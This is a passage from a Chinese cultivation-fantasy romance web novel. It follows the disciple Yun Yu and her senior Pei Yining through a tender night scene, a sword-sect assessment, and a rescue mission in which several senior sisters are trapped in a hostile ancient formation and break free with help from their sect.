虽然每晚两人睡觉时,师姐都会褪去外衫,但这种带着些许凌乱美却是最直击神经的。 她舌尖抵在上齿:“师姐……” 尾调还是带着一点长,她舔了下唇,胡乱地拢住师姐的衣衫,跳动的心脏“砰砰砰”地撞击心口。 云榆不明白她想要做什么,只是一味地喊:“师姐,师姐……” 裴依宁眉间的小山舒展开,她抱住云榆,掌心带着力,按住师妹抬起的腰身,往下。 云榆贴在她身上,头垂在她的耳侧。脖颈下是师姐滚烫的温度。 裴依宁:“嗯?怎么了?” 云榆茫然地:“没怎么。”她咬住舌尖,细密的疼痛让她回过一点神,“师姐被哄好了吗?” 若是没哄好,她可以继续哄,把师姐哄开心。 裴依宁:“嗯。” 她轻轻夹住云榆的腰身,难耐地曲起腿,但当云榆支起脑袋,裴依宁对上云榆那双错乱的眸光时,她身体绷紧,放开怀中人。 云榆没忍住亲亲师姐的唇,以为师姐是因为紧张,温声安抚:“师姐,别怕,我轻点。” 裴依宁眸中增添几丝水雾,揪紧床单。 如云榆所言,后续的几个吻多是浅尝辄止,轻柔缓慢,不像一开始那么深入。 云榆适可而止地翻身而下,倒到裴依宁身边,侧身,师姐皙白的肌肤上红意未褪尽。 她索性侧过身,面对师姐:“师姐,我弄疼你了吗?” 她下嘴没个轻重,不知道有没有咬到师姐,她直勾勾地盯着师姐的唇瓣。 好在,没有看见咬痕。 她有了进步。 云榆稍稍放下心,她需要安抚还没从状态中出来的师姐,尽好一位道侣应有的责任。 她搂住裴依宁,将其带到自己的怀中,学着师姐惯常抚摸她的样子,抚摸师姐的后脑勺:“师姐,摸摸你。” 裴依宁抬眼。 云榆唇点了点裴依宁鼻尖:“我在这,可以抱住我。” 她尽力充当一个合格的,会在事后安抚道侣的小妖。 裴依宁闭上眼:“抱你做什么?” 云榆想了想说:“师姐会没有安全感吗?就是亲吻过后,道侣片刻不能离开的安全感。” 裴依宁调整位置,缩进云榆怀中:“嗯,抱紧我。” 云榆抱紧怀中人。 * 一连数日,云榆都在练习剑法和身法。不知是不是被灵丹堂影响,剑法阁也要开始考核。 考核的时间就在今日。 云榆收到消息时,不免想到那日在灵丹堂所想,那时还打算记录杜师姐的表情给裴师姐看,结果今日就有机会了。 不对,师姐说不准记录。 云榆默默地放弃了这个念头。 应滟和卞凝还没回来,云榆独自一妖坐在人少之地等待。周围有几位师姐妹眼睛亮晶晶地看着她,细细地说些什么。 多半是与自己的本体有关,因为云榆看见其中一位同门做出抚摸的举动。 她不动声色地收回目光。师姐看见会不开心的。她不能让除却师姐之外的人摸。 好在,因有杜寻雁先行的话,倒是没有人过来让她变回本体。云榆只能对师姐妹们的想法一无所知,安静地看着一位位考核的人。 快到她时,云榆去排队。 杜寻雁倦怠地按压太阳穴:“下一位。” 云榆抿住唇,忍住笑。 杜师姐的表情果真和上次考核那般有意思,强撑着精神气,在遇见考核不通过的同门时,那种颓废萎靡的气质更甚。 她看见杜寻雁摇摇头,对身旁的几位师姐说了什么,那几位师姐笑着点点头。 不久后,又看见杜师姐用力扭了下小臂内侧的软肉,五官瞬间裂开的表情。 云榆彻底忍不下了。 她真的好想将这幅画面记录下,不给师姐看,也要给杜师姐看看她自己这副受尽磨难的样子。 当个小把柄,以后杜师姐说她,就拿出来放给杜师姐看。 到时又能获得杜师姐新的表情画面。 在她越想越开心时,一道悠悠的视线晃过来,杜寻雁晦暗的眼神终于有了丝光亮:“云榆,该你了。” 云榆回过神:“好咧。” 她今日过于活跃,杜寻雁多看了她两眼,与同是监督的师姐道:“看看云师妹这精神气,整日笑呵呵的,乐观的很。要是都有她这心态就好了。” 成为绿灵后,云榆的耳力更好,她将杜寻雁夸她的话一字不漏的听入耳中,堪堪止住的笑意又漏出。 她总不能告诉杜师姐,开心的来源是她吧。 那杜师姐定是要好好捶她几下。 考核结束,她主动跑到杜寻雁身侧:“师姐,我的考核结果如何?” 杜寻雁拐她下,故作不耐烦地:“去去去,考核结果还没出,不能打听,好好去修你的炼,或者去找你的裴师姐,别在我眼前晃悠,看得人心烦。” 云榆:“……你刚刚还说要是都有我这心态就好了。” 杜寻雁:“耳朵别放那么尖。” 云榆:“哦。” 通过考核,云榆没再逗留多久,主要是那几位同门的视线过于直白,好像能把她看穿。 她要回洞府,要去找裴师姐。 到底是真的没去找裴依宁,她去了趟练剑之地,练习半个时辰的剑法,以免误了手感。掌法方面,她下的功夫比剑法少几分,今日也该好好练练。 她寻了个器物堂专门为剑法阁门人打造的,用来练习掌法和拳法的物件。 把那物件当做攻击对象,掌掌直击命门,带着的掌风掀得物件上的绳索叶片起舞不断。 刚结束掌法练习,灵识内收到杜师姐的传音,云榆收掌回到考核之地。 由于剑法阁门人众多,这个时间点考核还在继续,云榆一眼看见站在那监督的杜师姐。 杜师姐的脸色比她走时要更差,云榆没了嘲笑的心思,等一位同门考核结束,下一位还没上来,她几步凑到杜寻雁附近:“杜师姐。” 见到她,杜寻雁的脸色稍好些:“云师妹,你可有时间?” 云榆道:“有时间,杜师姐不用跟我客气。” 杜寻雁道:“应滟和卞凝那边传来消息,她们遇见了些小问题,让你过去帮帮她们。” 事关两位好友,云榆自是不会拒绝,但她担心自身实力不足:“师姐,我一人吗?还是与谁一同?” 杜寻雁拍拍她:“你去了,裴师姐自然也会去,你们两个,足够了。她们说了,只是小问题。” 云榆:“……” 她知道杜师姐的意思了,有裴师姐一人就够了,她不过是顺带的,为了绑上裴师姐的工具妖罢了。 云榆:“师姐不一定有空,我要先问问师姐才行。” 说罢,她传音给裴依宁,那边的答复给的极快,说是等会就过来。 杜寻雁对此早有预料,她耸耸肩:“其实多出去走走对裴师姐也挺好,不然她待在灵丹堂多无聊。” 云榆暗戳戳瞧一眼杜寻雁。 冠冕堂皇。 杜寻雁见她不信,道:“灵丹堂前几日的考核结果不尽如人意吧,我可是听说了,过几日,灵丹堂有个总考核,堂内之人皆要参加,纳兰师妹也要参加。而考核人还是裴师姐,裴师姐若是不在堂内,考核人就会换一位师姐。” “你不想看见裴师姐冷脸吧,说实话,灵丹堂内人也害怕裴师姐出的题。你把裴师姐带出去,对裴师姐好,对灵丹堂内的师姐妹们也好。皆大欢喜。” 云榆想到那日裴依宁的严肃,咽咽口水,犹豫地:“真的吗?” 杜寻雁:“骗你作何,我又不是灵丹堂内的人。” 云榆狐疑:“杜师姐,你有这么好?” 杜寻雁一巴掌拍过去,被云榆轻松躲过,惹得她笑骂:“说什么呢?我平日有亏待过你。” 这倒是没有。 云榆嬉笑着,冷不丁来了句:“纳兰师姐跟你说的?” 杜寻雁“昂”,她左右看看,小声道:“纳兰师妹同样害怕裴师姐出的题,当年她刚入宗不久的考核,赶上裴师姐出关出题。那次的题目给她带来的心理阴影至今没下去。” 云榆眨眨眼:“裴师姐这么可怕。” 杜寻雁啧啧两声,继续道:“不然呢,她不近人情的话你听过不少吧。因为没通过考核的人,再如何求裴师姐也没用。虽然每人求过就是了。” 云榆一本真经地点点头,眼角的余光瞥见杜寻雁身后那抹浅淡的身影,她压住唇,有心给杜师姐挖坑跳。 她问:“杜师姐怕裴师姐吗?” 杜寻雁翻了个白眼:“我怕她干嘛,她又不给我出考核题。不过她不近人情倒是真的,每次我都是趁她不在或者闭关去要丹药的,”考核的门人一个接着一人,杜寻雁挥挥手,“好了,一边呆着去,别的师姐妹……” “杜师妹,”清润温柔的声音自杜寻雁身后插入,裴依宁悠悠地,“我之前还在好奇云师妹为何总说我不近人情,原是杜师妹给她灌注的认知啊。” 杜寻雁不明所以地转过身,在瞧见那张精致的容貌时,瞬间全身发麻,在一众同门面前稳重的人“啊”地一声叫出声。 引得正在考核,还未考核的同门们纷纷看过来,其中一位正在考核者因为心思不专注,剑法飘转,挥出一道剑气,被守在边上的一位师姐挡住。 裴依宁淡淡地看向一脸看好戏的人。 云榆事不关己地别开头。 一众师姐妹不明所以地看过来。 杜寻雁:“裴……裴师姐,我没在云师妹面前这么说过,不对,是在这之前,我没在云师妹面前说过。” 还有什么比背后说人,被正主听见更尴尬的事吗? 有的。 是犯了两次相同的事。 “怎么了?”风浅念不知怎得过来了,“刚走近就听见杜师妹的惊叫声。” 云榆忍着笑,望向满脸苦涩的杜师姐,好笑地将刚才发生的事情说了一边。 风浅念莞尔:“原是这样。” 原以诗淡声道:“杜师妹曾对我说过类似的话。”她斜了杜寻雁一眼,“不过也是不知道我在后面。” 杜寻雁欲哭无泪,她降下结界,用仅有几人能听见的声音:“别说了,师姐们。我知道错了,我改,我以后不在背后说人坏了。我当面说还不行吗。” 云榆忍的脸色通红。 不正经的杜寻雁属实是个行走的活乐趣。 风浅念含着笑意:“那还是背后说吧,当面说,嗯……我怕我缺点太多,一时说不完。” 杜寻雁不想接这个话题,她哭丧着脸转移话题:“风师姐,你们怎么来了?” 裴依宁道:“我通知的她们。” 风浅念微微点头,瞄向原以诗打趣道:“器物堂过两日考核,原师姐每次出的题目太难,器物堂的师妹们让我想办法把原师姐支开两天。我答应她们了。” 相比较于灵丹堂无人敢这么与裴依宁说话,器物堂就不一样,器物堂的人虽然不敢与原师姐提要求,但敢和风师姐提。 风师姐温温柔柔,性格好,早与堂内人打成一片。 更何况,原师姐听风师姐的话。 这是器物堂众所周知的事,甚至堂内有人偷偷赌原师姐何时能追到风师姐,原师姐和风师姐会不会结为道侣。 但这些从没有舞到两人面前,二人自然是睁一只眼,闭一只眼。 云榆庆幸杜师姐虽然严厉,但每次的考核题目并不算难,剑法阁绝大多数人都能过。 那日灵丹堂的第二场考核,只有五人过了。 对比惨烈。 原以诗不置可否:“平日若是好好练习,怎会过不了考核。” 裴依宁认同。 风浅念微微歪头,灵动无比地:“嗯……有一次,原师姐出的题目,我差点没能完成。许是我平日没能好好练习的原因。” 话虽这么说,但风浅念唇边的弧度半点不减,更像是在故意开某位总是冷着一张脸的师姐的玩笑。 杜寻雁去监督考核,云榆只能一人面对三位师姐。 原以诗变脸如翻书:“有时题目的确过于偏。” 云榆:“……” 风浅念弯唇。 几人没再打扰剑法阁的考核,进入传送阵法中,直往应滟,卞凝等人的所在地而去。 不过眨眼间的功夫,四人身形传送到一处蛮荒之地,举目四望,皆是枯木黄土。 放眼望去,只有茫茫无尽的荒凉,半个人影看不见。 卞凝和应滟她们怎么会来到这处地方。 当务之急是找到她们在哪,裴依宁凭空取出一只锥形物,对着天空拉下锥形物旁边的绳线。 一道紫红色的光点直冲上空,炸开。 光点散去,没有等到任何回应。 裴依宁又发出两道光点。 还是毫无反应。显竹福 风浅念环顾四周,没看见遮挡物,她猜测:“莫不是在地下,看不见地上的东西。” 这就能解释得通,为什么看见光点没能回应的事了。 在地底有些难办,但也不是毫无办法。卞凝她们能传音给杜寻雁,她们自然也能传音给卞凝询问。 云榆给卞凝传音,没有回应。 云榆给应滟传音,没有回应。 裴依宁和风浅念分别给其她几位明越宗门人传音,皆是没有半点回应。 不正常了。 原以诗当机立断:“传音给杜师妹,让她尝试与剑法阁的师妹联系。” 云榆照办。 然,在收到杜寻雁的回音后,她隐晦道:“杜师姐同样联系不到她们。” 联系不到,便是不能确定她们在哪以及是否安全。 风浅念唇角的弧度降下,她取出两枚类似铜钱的圆片,划开食指,滴下一滴血进入圆片的孔中。 孔周围密密麻麻的纹路被激起,圆片剧烈震颤,风浅念将其往天上一抛。 两枚圆片不断翻转,掉落在地。 风浅念蹲下身:“皆是正面,是在地上。”她辨别上方的纹路,其中以南方向的纹路活跃度最为明显,“在南方。” 得到大致方位,接下来就是找人了。 风浅念拾起圆片,面色微沉。 以南方向的纹路不仅最为活跃,上方还覆盖了一层红光。恐是遇到极其危险的事,已有伤亡发生。 裴依宁注意到这点,压下眉梢:“范围太广了,星星,你身上有没有卞师妹或是应师妹碰过的东西。沾过她们气息的即可。” 云榆翻看储物空间。 原以诗道:“我传音给杜师妹,让她直接传过……” “我这有。”云榆急急打断她,翻出一枚记录石,“应滟给我的,可以用吗?” 之前她不在,应滟记录下的那些时日所学,留给她用的。 裴依宁接过:“可以。” 风浅念又滴了一滴血进入圆片中,与此同时,裴依宁切割下记录石一角,塞入圆片的孔中。 扔到半空的圆片剧烈震颤,极速翻转的带回一浪浪气旋。 “砰”。 其中一枚圆片破碎炸成齑粉,另外一枚圆片布满裂纹,但因有风浅念的那滴血,得以保留完整。 并没有落下,那枚满是裂纹的圆片直冲南方。 风浅念:“走。” 风层卷过,云榆尚且没来得及运转灵力,周围景色快速倒退,一条手臂圈住她的腰身,将她带着往前。 风刮在脸上,远比在空中御剑来得猛烈,速度快得周围景色只剩下模糊一片。 一层灵力在这时围住她。 作者有话说: 今天是准时的一天 第88章 第八十八章[VIP] 千里无人烟, 远比她们传送时的地方还要寂寥,置身其中,天地偌大,却是一眼望不到头。 云榆腰间一松, 踉跄几步, 手臂被拽住往回拉,稳住步伐, 随手捋了捋散乱的发丝, 呼吸还没喘息过来,就听见风浅念略有疑惑的声调:“不在这里吗?” 满是裂纹的圆片悬浮在两尺外, 上方的裂纹更加细密,一点风吹草动都能将其毁灭。 风浅念捏住圆片中心, 指尖的血液没入中心的孔洞。 圆片半点没了反应,卡在圆孔上的那小块记录石在快速地穿行中,被风刃磨得只剩下丁点。 “咔嚓”,圆片在风浅念两指间化为齑粉,随风散去。 云榆微微启唇, 不可思议地望着上升的齑粉, 似乎有什么东西牵引着它们往上飞, 她偏头, 身旁女人好看的眉心微微蹙起。 她忍不住轻声唤了声:“师姐?” 裴依宁垂目:“嗯?” 云榆摇摇头, 出于妖族对危险本能的感知, 踏足到这里后,她心中隐有不安, 全部精神力被动调起, 灵珠运转飞速,连带着灵海处的把柄小剑抖动不止, 随时有要出来的可能。 她不知道师姐们有没有感受到这股危险,竭力用平静的声调道:“师姐,应滟和卞凝她们不在这,我们要继续往前吗?” 圆片将她们带到此处,却没了接下来的指引,不断上升的齑粉莫不是在告诉她们应滟她们在天上。 天方夜谭。 云榆扬头,惊讶地发现,云层以肉眼可见的速度飘动,聚拢,厚重地叠压,阳光被遮挡地只能透出缝隙洒下一点芒。 那种危险的感知力更甚,她几乎不受控制地拉住裴依宁的衣袖,瞳仁颤动,声音染上颤音:“师姐。” 求生的本能让她离开这里,但卞凝和应滟等明越宗的人下落不明,理智让她强行镇定,可她需要能定住心神的事物,无疑,裴依宁就是最好的选择。 靠近裴依宁后,那股心悸果真散去些,云榆咬紧后槽牙,指骨绷紧,攥住裴依宁的衣衫。 察觉出她的异样,裴依宁覆盖住云榆攥住她衣衫的那只手,她望向另一边的原以诗和风浅念两人,目光直直地望向前方。 风浅念复又取出两枚圆片,这次的圆片呈现透明状,中间无孔,上方密密麻麻地篆刻无数凸起的古老文字。 猛地朝前一扔,透明圆片盘旋飞舞,落在几人十米开外的地方。 风浅念眼神一眯:“就在这。” 云榆诧异地看向圆片所在地,那里空空如也,哪里有人的存在。 突然,以她们为中心,四周漫起无数条光柱,直升天地,无数灵点虚幻地构建起一方天地。 “退出去。” 云榆胳膊一疼,剧烈的拉扯带着她极速后退,掀起的风刀从她身上划过,长发飞舞迷了她的眼,根本无法看清周围事物变化。 后背重重撞上墙壁,突如其来的疼痛让云榆闷哼出声,在她身侧,还有三道续续的撞击声。 顾不得身上疼痛,裴依宁将云榆拉到身边,上下打量,下意识揉上在情急之下拉疼的云榆的那只手臂。 裴依宁:“还好吗?” 云榆正对着裴依宁,看清女人的后方。 她们撞到的并非是什么墙壁,而是阵法的灵璧。 幽深如墨的阵法灵璧黏稠液体,不断向下流淌。 显然,原以诗和风浅念发现了这点。裴依宁透过云榆漆黑的瞳孔,瞧见下坠的流体,她扭头,眸色被染上灵璧的颜色。 原以诗:“找到她们了。” 云榆没理解原以诗话中的意思,下意识转身,只见她们原先所在地的十米开外,即是那两枚透明圆片停留之地,血色浓重中,横七竖八地躺着数人。 卞凝和应滟赫然在其中。 云榆脸色白了几分,她被钉在原地,口中呢喃:“怎么会这样。” 回过神时,她们已经来到这群明越宗弟子前。 裴依宁两指按在其中一人的眉心中,柔和的灵力注入。 她面色冷凝得严重。 原以诗和风浅念面色亦是不好看。 “如何?”云榆半跪在卞凝身侧,哀求地看向裴依宁。 裴依宁道:“剑修体质强大,她们的气息还很明显。” 说罢,她喂了枚丹药入了卞凝口中,后续的几人相继喂了枚。 捞起血淋淋的人,用净身术为她们简单地清理过身子,裴依宁挨个为她们疗伤,云榆在一旁打下手。 原以诗和风浅念寻找破阵之法。 从卞凝她们身上的伤势可以判断出,这座阵法定然是有攻击力的,阵法外,说不定还有一群人在等着。 她们虽修习过符法,但并非专攻,短时间内只能推出这至少是座双重阵法。 除非之外,再无其它。 在阵法内转过一圈的两人回到明越宗一众人前,风浅念素来温和的面容上覆盖出一层阴影,她蹲下身,扶住一位器物堂的师妹:“这阵法有隐匿人气息的作用。在外看,一切正常,无法发现阵法内的人。我方才与原师姐尝试给明越宗传音,但无果。” 闻言,云榆尝试给杜寻雁传音。 石沉大海。 那道传音灵识很明显被什么东西拦截住。 只是隐匿阵法,不足以让她们担心,耗时间,静下心,总能找到破阵之法。 裴依宁扫过治疗好,正被云榆扶着靠坐在从空间储物中取出长条物长的几人:“恐怕不止有这一功效,趁现在内部阵法尚未启动,我们分头寻找阵眼……” “轰隆”。 回应她这句话般,风平浪静的阵法轰然间运转,黏稠的液体灵璧疯狂流动,阵法上方被划出无数道裂开,各种元素之力翻滚。 水与火交融,雷电与金碰撞…… 云榆自言自语:“阵法好像启动了。” 阵法缓缓向四周裂开,露出一条线,被侵入无光的阵法中,投射下一道光。 触手可及的光,好似能带给里面的人温暖和希望。 但这一线天带来的只是布阵人深深的恶意。 巨量的水倾盆而下,不过瞬息就将几人淹没。 云榆支起灵力,开辟出容身之所,头脑炸开,她猛地转身,直奔半靠着的,还没清醒的同门而去,用灵力在她们周边腾出干燥之地。 但这不是长久之计。 一道灵力不由分说地闯入她的结界内,裴依宁支起灵力,撤去云榆覆盖在同门身上的保护:“星星,保护好自己,我会护住她们。” 这座阵法显然不打算直接攻击她们,是要耗尽她们的灵力。而卞凝她们体内的灵力亦是枯竭,才会对后面阵法的直面攻击无反抗之力。 注满水的阵法变得寸步难行,原以诗和风浅念受到的影响算不得大,她们周身是两平米的干燥之地,那些水被隔绝在外。 算不得什么高深的灵法,但足以拉下她们破阵的时间。 裴依宁以部分灵力护住几人后,随同裴依宁,风浅念分头寻找阵眼。 云榆则是独自一人朝向另一端。 她心中惴惴不安,水流导致能见度极低,唯一的好处是阵法内的人相互传音不受影响。 对于阵法几乎一窍不通的小妖找了一路,都没发现什么异常,只有头顶时不时响彻的几声炸裂的雷电声和持续不间断的燃烧声。 “云榆。”潮水突然褪去,露出湿漉漉的地面,灵海内传开裴依宁的传音,“回来。” 云榆看了眼上空,一线天闭合,元素之力混杂的威压下,她有种呼吸不上来,气血挤压在胸口的沉闷。 她重重深吸起,喉咙溢上浓重的铁锈气。 这座阵法,对妖族产生的影响更甚。云榆暗道。恍惚中,她想起了数年前被人追着喊打喊杀,以及上次在城池中,未能得手褪去的人。 他们与这座阵法会有关系吗? 云榆绷着脸回去时,裴依宁正和原以诗风师姐交换所得,无例外的,难有线索。 风浅念自空间储物中取出数道符纸,全然燃烧,重重往天上扔出:“不知能不能传递出消息,这些符纸都是出自清凡之手,若是能传出,让她知道我们这边的情况,赶来此处,定能破解这阵法。” 云榆知晓风师姐说的这人是谁,宗门座下唯一亲传弟子,阵灵阁的大师姐,她前往阵法阁取剑法阁每月符纸时近距离接触过。 “小心。”正想着,无数道雷电劈下,云榆被人拉开,所站之地呈现焦土一片。 各种元素之力如雨滴般落下。 云榆抽出灵剑,调动全身气力,避无可避地挥剑斩断落下的火石。 “铮”。 剑身与火石撞击,云榆手臂震得发麻。她脸上闪过惊骇之色。 她的修为竟也被阵法影响。 没有时间多有反应,一道接着一道的五行元素之力,雷电,风等元素之力雨点般让她应接不暇,硬着头皮挡去。 裴依宁等人的修为亦是被压下,加之她们还要分出灵力保护明越宗昏迷的那些人,在这种长久无序的攻击下,显出疲惫。 “这是要拖垮我们,”风浅念空隙之余挥去云榆背后的元素之力,“腾不出手去寻找破阵之法,再这样下去,我们恐怕是要留在这了。” 这座阵法分明特意为她打造的。云榆别开迎面而来的雷电属性。 一开始只点名道姓让她过去,是她把裴依宁拉上,继而让原师姐和风师姐一并随同。 云榆内心自责的心绪填满。 她侧目望向身边的裴依宁,对方拉着她的手臂,顾忌自身的同时,亦是庇护着她。 修为提升的喜悦还没有多久,她被重新踹入无望的深渊,机械的挥舞剑法,挡去各种攻击。 原以诗道:“再看看,现在阵法的攻击算不得难应付,稍等片刻,你为我护法,我试试能否强行撕开阵法,让那几张符纸传出。” 那几张被风浅念扔出去的符纸盘旋在空中,不知是不是因为里面蕴含着的强大阵法之力,下坠的元素之力纷纷避开,以至于符纸完好无损地飞舞其中。 风浅念点头。 裴依宁用灵力凝成一柄长剑:“我与浅念一同护法,现在就尝试,否则阵法攻击变强,我们灵海内的灵力恐不够强行破除。” 云榆适时道:“我可以自保,那边的几人我也可以护住,不用顾忌我们这边。” 几位师姐相互对视一眼,裴依宁略一颔首:“辛苦了,出去师姐给你补补身体。” 风浅念莞尔:“那她们就交给云师妹了。” 云榆扯出笑容回应,分出灵力覆盖在卞凝几人身上。 这里师姐们就不用分神这边,可以专心强行撕开阵法口子。 她几步蹿到卞凝等人附近,满脸凝重地望着不断而来的元素,用行动保护着昏倒的同门。 原以诗周围被裴依宁和风浅念撑出一片安全区域,她双手翻转,快如影,灵光形成残影,拉出长线般的尾。 无数枚古老的文字不规则地转动,低喝声:“破。” 文字撞击而去,阵法颤动,那处灵璧流淌的速度慢了许多。 紧接着第二枚,第三枚文字相继撞击而去…… 云榆气喘吁吁地看了眼身后的人,又看向裴依宁所在的方向,舌尖被咬得血肉模糊,她沉沉地闷咳两声。 一块火石在即将砸中她之际,体内一抹灵光在她头顶展开,结结实实地护住她。 是当初捆绑她的那根灵线,被裴依宁注入她体内护着她的那抹灵力。 没想到在这时候派上用场。 体内灵力有枯竭的趋势,云榆注入灵剑的灵力减半,以肉身抵挡这些。 她还要保护这些同门。 空间储物中的各种可以符纸,器物被她不要钱似地丢出,以此来抵挡攻击。 突然,一块白玉雕刻成的玉佩被拿在手中。 是问亦云临走时给她的那块。 顾不得多想,她一把扔出。 一道火舌瞬间舔舐上去。 恰在此刻,阵法被掀开一条裂缝,裴依宁将手中剑丢出,直插那道缝隙,几张符纸飞出,一抹从白玉中释放的灵力跟着飞去遥远的天际。 阵法外,数十位身着统一服饰的人见状,纷纷前往阻拦,但无法赶上符纸和灵光的速度。 其中一人道:“完了,里面的人传出消息了。” 另一人道:“速战速决,加持阵法,外围还有近千人守着,她们短时间内进不来。” “疯了,在绝对实力面前,人数有什么用,但若是明越宗反扑,我们怎么办,我们根本比不过明越宗的底蕴。到时交手,我们定是打不过的。” “不是说那人品阶不高吗?不是说只会有姓云的一人吗?怎么还带上了裴依宁她们。” “立刻完全启动阵法,里面的人绝对不能活着出来,死无对证,明越宗奈何不了我们。” “……” 数张符纸飞至明越宗上空,其中一张符纸释放出耀眼的光芒,即使在白日也刺得人睁不开眼。 剑法阁的杜寻雁,灵丹堂的纳兰然等人纷纷眯起眼望向天空。 阵法内的一段景象铺在明越宗上方。 一时间,宗门震动,无数道光点飞向符纸飞来地。 问玉宫内,灵光穿过层层禁锢,钻入正站在一侧静静欣赏面前人作画的问亦云眉心。 她脸上的笑意一顿,抬起眼朝着阵法的方向遥遥看去。 她蕴藏在玉佩中的灵识接连受到几次攻击,被护着小妖的缘故。 画盘中的颜料用尽,云樾转身要去取,身边素来殷勤的人难得迟钝地没有反应。细看之下,甚至还带有些许恐慌。 这人还会觉得恐慌,有什么能让问亦云恐慌的。云樾嘲讽的垂下眼帘。 而对面人在见她转身时,急急往后退了半步,瞳仁中一闪而逝的惊慌更甚。 问亦云稳住心神,故作无样地凑过去:“我帮你。” 云樾敏锐地发觉不对。她与问亦云朝夕相处这么多年,直觉告诉她,多半与她有关。 与她有关的,只能是云榆。 云榆出事了。 几息间,画盘落地,云樾平静的声线毫无起伏地陈述:“我妹妹出事了。” 问亦云手一错,颜料挤出一大块,堆积在架子上。 领口被用力扯住,往前拽去,刹那间的窒息感让问亦云偏过头干咳几声,眼眶晕上浅淡的绯色,她听见面前人颤乱的声音:“真的出事了?” 问亦云的反应,不像是小事。 她的心口骤然一疼,血脉相连的直觉让她心慌乱无比,她指骨泛白,冷冷问:“我妹在哪?” 问亦云袖子挥动,画面存续:“我一道灵识在其中,一时半会那座阵法不会伤及她的根本……” 话音未落,面前人甩开她,五指往那幅画面中一拉,辨别出位置,直奔而去。 问亦云拦住她:“你不能出问玉宫,云樾。” “啪”。 问亦云脸侧向一边。 云樾眼眶润红:“别忘了当年,我是因为谁成这样子的。你当初又是如何答应我的。” 问亦云:“我会去,你在这等着。” 云樾气极反笑,方才是谁当做什么事都没发生的样子在她面前献殷勤。若是她不曾发觉,今日之事,她是不是永远不会知道,日后,即使她要去找云榆,这人是不是也能将责任推卸出去。 云樾:“起开。” 问亦云闭闭眼:“你身子不好,我带你去。” 荒凉古地,拔地而起的阵法威压压得周围人直不起身,更遑论处在阵法内的人。 问亦云的灵识一次次地替她挡去下来的元素之力,云榆得到片刻喘息。 但灵识终究会散去,阵法内空气不断压缩,喉咙腥甜,云榆咽了下,黏稠的液体在指缝中滑落,她五指按在剑柄中,提剑斩去将要落在同门身上的攻击。 裴依宁回到她身边,轻轻地握住她的手。因强行破阵,女人脸上毫无血色。 裴依宁微微一笑,揉揉云榆同样无血色的脸,余光看见云榆身上的血迹,她心口一疼,捏捏对面小妖的脸颊,她道:“休息会,剩下的交给师姐。消息已经发出去,明越宗的人正在往这赶,我们很快就能出去。” 云榆摇摇头,她被护着裴依宁支起的结界中,无尽的风火雷电落在上面,裴依宁恍若未觉,她安抚小妖:“睡一觉醒来,我们就能出去。” 她能感知到云榆体内快要枯竭的灵力,再强行使用,将对小妖的身体产生难以弥补的伤害。 她单手护在云榆后颈,亲密的握握,随即掌心抬起,对着一处落下。 面前的小妖没有如预想中的那般倒下,裴依宁诧异了瞬。 是云榆侧身反手躲过了她那一击:“师姐,别把我想的太天真,我会保护好自己。” 结界快要破碎,裴依宁弯弯唇,无可奈何地:“好吧,跟师姐在一起。” 阵法内的环境不容乐观,阵法外亦是如此。 各种灵力,器物,符纸,漫天飞舞,不要钱地往外撒,一张张符纸燃烧殆尽。 杜寻雁踹开面前的人:“该死的苍焰宗,一方祸害,”她高声道,“宗主有令,务必将这些人剿灭。” 一座禁锢阵法将整片荒凉之地覆盖,只进不出,里面的人皆是无法出去。 而布下这座禁锢阵法的女人,纤长的身形立于困住裴依宁等人的阵法前,她两指按在阵法上。线逐复 一层阵法应声而裂。 身边人见状松了口气:“风师姐她们应该能出来了吧。” 白清凡面色复杂,她沉声道:“这阵法只能从内部破解,我只能将其内部攻击做出限制,其她的,只能依靠浅念她们自身。” 话落,她传音给阵法内部的人,将其破解之法说了遍。 没了隐匿阵法和其她阵法的限制,阵法内外已经可以互相传音。 白清凡的声音传入阵法:“原师姐,浅念,依宁,这是座远古阵法,阵眼应当在阵法灵璧之上。你们看看有没有与众不同之处,这阵法传下时已残缺不全,存有弊端,应当会有破绽。” 阵法内的攻击弱了许多,原以诗在灵璧上摸索,这座阵法说大不大,说小也不小,依靠这种方法,工程量并不小。 “说,阵眼在哪?”杜寻雁压着一人,将其脑袋按在阵法外部,厉声质问。 那人颤抖着:“我……我不知道,这阵法不是我们布置的,”他看见另一边打斗的人,抓住救命稻草地,“是他们,他们布置下的。他们说,他们只要那小妖的性命,我们苍焰宗只是为了报复上次的仇而已。” 白清凡身边的女人一个来回,将那黑衣人抓回:“啧,说一下吧,阵法的阵眼在哪?” 黑衣人不答。 杜寻雁上去就是两脚,剑柄捅在黑衣人的腹部,尤不解气地问:“在哪?” 黑衣人“哈”笑两声:“杀了我便是。云榆死了,云樾和问亦云就能跟着死,我也算是报仇了。那小刺猬坚持不了多久,即使找到阵眼,她也活不成……啊。” 一柄长剑贯穿黑衣人胸膛,云樾面色惨白地握着剑柄,血液溅地到处都是,她转动剑柄,皮肉搅动,女人近乎一字一顿地问:“阵眼。” 黑衣人瞧见她和她身边一起来的问亦云,笑得越发肆意,血液从唇角溢出:“当年没把你们困死的阵法,如今能困死你妹妹……” 剑体加深,那人没了生息。 云樾扔开剑,身体有种飘虚感,她在问亦云的搀扶下勉强能站稳,却是没法再过多的动用灵力。 她一连吞了数枚丹药,向内里传音:“星星,姐姐来接你回去。” 问亦云揽住她:“想说什么,我替你转达,别动用灵力,你身体还没调养好。” 此刻顾不得什么礼数和思索问玉宫的人为什么回来,以及这位自称姐姐的人是谁。 内外都在寻找破阵之法。 “姐姐。”云榆舔了下唇,“裴师姐,你听见了吗?” 裴依宁虽有疑惑,但这个时候,云榆的确需要支撑下去的信念,她道:“听见了,星星的姐姐在外面。” “找到了。” 阵内数人齐齐凑过去,只见这处黏稠流动的阵法灵璧上,存着些许凹凸不平,液体流动到这时,速度会缓慢几分。 不仔细看根本无法看出。 “找到阵眼了。”原以诗的声音传出。 阵法外的人稍安下心。 原以诗聚集灵力朝着凹凸不平的那点攻击,阵法晃动不止,灵璧上的液体流速缓慢一瞬,而后以难以看清的速度流下,如同静止了般。 裴依宁和风浅念见状,齐齐朝着那点攻击去。 阵法上空的一线天开启,这次没有各种流水或是什么元素之力。 肉眼可见的,一线天越来越大,慢慢的,能看见整片天空,形成没有封口的圆柱形。 下一刻,阵法碎裂。 裴依宁低喃:“破阵了。” 云榆无力的掀起唇角:“终于……出来了。” 紧绷着的精神彻底松懈下,云榆再没力支撑身体,长剑插地,在即将跌倒的一瞬,她被人捞起。 裴依宁圈住她的腰身,纳兰然等灵丹堂的人纷纷跑过来为她们疗伤。 